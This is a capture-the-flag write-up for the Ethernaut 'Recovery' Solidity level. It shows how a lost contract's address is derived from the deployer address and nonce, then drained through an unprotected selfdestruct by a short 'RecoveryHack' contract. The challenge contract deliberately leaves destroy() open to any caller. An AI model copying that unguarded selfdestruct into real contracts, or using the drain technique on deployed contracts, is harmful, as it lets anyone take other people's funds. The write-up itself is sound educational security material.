> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/recovery.md).

# Recovery

deterministic address

## Description

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent `0.001` ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the `0.001` ether from the lost contract address.

## Background Knowledge

<https://medium.com/coinmonks/ethernaut-lvl-18-recovery-walkthrough-how-to-retrieve-lost-contract-addresses-in-2-ways-aba54ab167d3>

## Code Audit

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {

  //generate tokens
  function generateToken(string memory _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value * 10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender] - _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}
```

The contract `Recovery` creates a new instance of contract `SimpleToken`, and the developer lost this contract address. Our job is to recovery the address and take out 0.001 ether from it.

Behind the scene, the keyword `new` in Solidity uses the `CREATE` opcode in EVM. Recall that contract address generated by `CREATE` is **deterministically** computed. According to the [Yellow Paper](https://ethereum.github.io/yellowpaper/paper.pdf), the formula for computing such contract's address is:

```
address = rightmost_20_bytes(keccak(RLP(sender address, nonce)))
```

* `sender address` is just the challenge contract address. In my case it is 0x41D8b9C48319614aB97BF7d9dF1e052835bc21C6.
* `nonce` is a non-negative number that is incremented by 1 for each new contract creation. Nonce 0 is assigned to the creation of the challenge contract itself, so the token contract should have nonce 1.
* `RLP` **(Recursive Length Prefix)** is a serialization method used extensively across Ethereum's execution layer. The RLP encoding of a 20-byte address is: `0xd6, 0x94` . And for all integers less than `0x7f`, its encoding is just its own byte value. So the RLP of 1 is `0x01`.

Now we can compute the lost token contract address:

```solidity
address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(0x41D8b9C48319614aB97BF7d9dF1e052835bc21C6), bytes1(0x01))))))
```

The easiest way is computing this in `chisel` (it is installed when you install `foundry`):

<figure><img src="https://223316867-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MWVtlSxURaW2QQu6RU5%2Fuploads%2FkS2ag3u4HNmGi114QwcG%2FRecovery%20chisel.png?alt=media&amp;token=dc9e29b0-0f86-4d05-9307-e8d4a1066f6b" alt=""><figcaption><p>chisel</p></figcaption></figure>

Now we can finish coding the solution contract.

## Solution

**Step 1:** Copy and paste the content of contract `SimpleToken` to Remix and save it as `SimpleToken.sol`.

**Step 2:** Deploy the solution contract in Remix:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './SimpleToken.sol';

contract RecoveryHack {
    address payable lostAddress = payable(address(0x3775e84A208fbef8B7F220F2565f719cC513aEdb));
    SimpleToken simpleToken = SimpleToken(lostAddress);

    function pwn() external payable {
        simpleToken.destroy(payable(<your_Metamask_wallet_address>));
    }
}
```

Note that Remix gives a warning on the **checksum** of the address we just computed. Just follow the instruction and modify it.

**Step 3:** Invoke `pwn()`.

## Summary

Contract addresses are deterministic and are calculated by `keccak256(address, nonce)` where the `address` is the address of the contract (or ethereum address that created the transaction) and `nonce` is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).

Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.

An interesting [blog post](https://swende.se/blog/Ethereum_quirks_and_vulns.html) by Martin Swende details potential use cases of this.

If you're going to implement this technique, make sure you don't miss the nonce, or your funds will be lost forever.

## Further Reading

Learn more about RLP:

{% embed url="<https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/>" %}
RLP
{% endembed %}
